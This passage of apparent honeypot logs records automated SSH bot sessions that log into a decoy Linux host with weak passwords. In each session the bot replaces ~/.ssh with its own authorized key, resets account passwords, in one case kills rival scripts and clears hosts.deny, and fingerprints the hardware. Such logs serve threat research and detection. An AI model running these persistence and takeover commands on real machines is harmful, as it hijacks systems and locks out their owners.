systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:48:33.666563+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:48:34.411540+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:48:35.304257+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:48:35.799937+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:48:36.663941+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:48:37.376829+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:48:38.168032+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:48:39.164108+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:48:39.938396+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:48:41.523032+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"citrix","method":"password","accepted":true,"tier":"other"}]} {"id":"f2544d60-9dc4-4444-9fbe-2c1275375ffe","name":"gleaming-twilight-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59226,"username":"suhail","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:48:21.401089+00:00","ended_at":"2026-08-27T11:48:22.834572+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T11:47:59.037733+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:47:59.486358+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:48:05.505895+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:48:06.203953+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:48:06.656506+00:00","kind":"input","latency_ms":null,"data":"echo -e \"suhail\\nkqWKff6AwmtK\\nkqWKff6AwmtK\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:48:07.106139+00:00","kind":"input","latency_ms":null,"data":"echo \"suhail\\nkqWKff6AwmtK\\nkqWKff6AwmtK\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:48:07.556235+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:48:08.019170+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:48:08.466316+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:48:09.559515+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:48:10.008963+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:48:11.355046+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:48:11.804770+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:48:12.304135+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:48:12.750570+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:48:13.513581+00:00","kind":"output","latency_ms":null,"data":" 11:48:13 up 7 days, 8:38, 0 user, load average: 0.29, 0.3, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:48:13.962724+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:48:14.261701+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:48:14.709904+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:48:15.201826+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:48:15.652026+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:48:16.303963+00:00","kind":"output","latency_ms":null,"data":"top - 11:48:16 up 7 days, 8:38, 0 user, load average: 0.29, 0.3, 0.35\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:48:16.757454+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:48:17.197671+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:48:17.650875+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:48:18.429778+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:48:18.876918+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:48:19.243797+00:00","kind":"output","latency_ms":null,"data":"suhail"},{"seq":29,"at":"2026-08-27T11:48:19.693117+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:48:20.953126+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:48:21.401903+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:48:22.696629+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"suhail","password":"suhail","method":"password","accepted":true,"tier":"other"}]} {"id":"00030452-c690-4616-bbdc-5492e2710ee0","name":"graceful-glacial-teal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37640,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:48:01.797262+00:00","ended_at":"2026-08-27T11:48:03.011742+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T11:47:41.738758+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:47:42.083306+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:47:47.346789+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:47:47.729127+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:47:48.075027+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Hu4CGze3o5qM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:47:48.421401+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:47:48.776070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:47:49.396438+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:47:49.744181+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:47:51.001348+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:47:51.357202+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:47:52.503201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:47:52.855409+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:47:53.314644+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:47:53.661685+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:47:54.162239+00:00","kind":"output","latency_ms":null,"data":" 11:47:54 up 7 days, 8:38, 0 user, load average: 0.34, 0.42, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:47:54.509137+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:47:55.075339+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:47:55.421650+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:47:56.032591+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:47:56.384285+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:47:56.971703+00:00","kind":"output","latency_ms":null,"data":"top - 11:47:56 up 7 days, 8:38, 0 user, load average: 0.34, 0.42, 0.31\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:47:57.321054+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:47:57.963841+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:47:58.311807+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:47:59.153171+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:47:59.500513+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:48:00.115089+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:48:00.466168+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:48:01.453363+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:48:01.797794+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:48:02.906687+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"centreon","method":"password","accepted":true,"tier":"other"}]} {"id":"8f2732d6-d038-4dc0-a35d-551ca9dc0e00","name":"western-patient-wolverine","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57440,"username":"daniel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":288,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:47:33.422639+00:00","ended_at":"2026-08-27T11:47:34.811523+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2155,"events":[{"seq":1,"at":"2026-08-27T11:47:17.241031+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:47:17.527753+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:47:20.388369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:47:20.737046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:47:21.028599+00:00","kind":"input","latency_ms":null,"data":"echo -e \"danieldaniel\\nLBeoiyYKJIRk\\nLBeoiyYKJIRk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:47:21.316082+00:00","kind":"input","latency_ms":null,"data":"echo \"danieldaniel\\nLBeoiyYKJIRk\\nLBeoiyYKJIRk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:47:21.602436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:47:22.366751+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:47:22.652649+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:47:23.653834+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:47:23.944133+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:47:24.798034+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:47:25.087556+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:47:25.573122+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:47:25.861272+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:47:26.666305+00:00","kind":"output","latency_ms":null,"data":" 11:47:26 up 7 days, 8:37, 0 user, load average: 0.06, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:47:26.955395+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:47:27.310493+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:47:27.600270+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:47:27.897835+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:47:28.187044+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:47:28.842664+00:00","kind":"output","latency_ms":null,"data":"top - 11:47:28 up 7 days, 8:37, 0 user, load average: 0.06, 0.06, 0.06\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:47:29.131407+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:47:30.013177+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:47:30.300534+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:47:30.880257+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:47:31.166700+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:47:31.704479+00:00","kind":"output","latency_ms":null,"data":"daniel"},{"seq":29,"at":"2026-08-27T11:47:31.993333+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:47:33.135003+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:47:33.423422+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:47:34.719258+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"daniel","password":"danieldaniel","method":"password","accepted":true,"tier":"other"}]} {"id":"ae484628-f50a-4b60-b94c-163b3c388937","name":"glacial-regal-antelope","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55856,"username":"whatsapp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:47:29.864277+00:00","ended_at":"2026-08-27T11:47:31.822564+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2263,"events":[{"seq":1,"at":"2026-08-27T11:47:03.318588+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:47:03.579566+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:47:07.384938+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:47:08.201020+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:47:08.465115+00:00","kind":"input","latency_ms":null,"data":"echo -e \"whatsapp123\\npqrDH97b34Zq\\npqrDH97b34Zq\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:47:08.726446+00:00","kind":"input","latency_ms":null,"data":"echo \"whatsapp123\\npqrDH97b34Zq\\npqrDH97b34Zq\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:47:08.989404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:47:10.267650+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:47:10.503755+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:47:10.735521+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:47:11.000299+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:47:12.010308+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:47:12.276781+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:47:13.189241+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:47:13.454545+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:47:14.989277+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:47:15.255510+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:47:16.178961+00:00","kind":"output","latency_ms":null,"data":" 11:47:16 up 7 days, 8:37, 0 user, load average: 0.35, 0.29, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:47:16.440986+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:47:18.548415+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:47:18.808917+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:47:19.787726+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:47:20.050371+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:47:21.255042+00:00","kind":"output","latency_ms":null,"data":"top - 11:47:21 up 7 days, 8:37, 0 user, load average: 0.35, 0.29, 0.3\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:47:21.523442+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:47:23.389078+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:47:23.653113+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:47:25.590279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:47:25.853118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:47:28.046106+00:00","kind":"output","latency_ms":null,"data":"whatsapp"},{"seq":31,"at":"2026-08-27T11:47:28.309362+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:47:29.601422+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:47:29.865209+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:47:31.746880+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"whatsapp","password":"whatsapp123","method":"password","accepted":true,"tier":"other"}]} {"id":"5cde8efb-2e28-4eef-8915-be0e7315f5c5","name":"honest-thawing-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":39746,"username":"daniel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:57.022104+00:00","ended_at":"2026-08-27T11:45:58.436862+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2133,"events":[{"seq":1,"at":"2026-08-27T11:45:38.892239+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:39.218446+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && 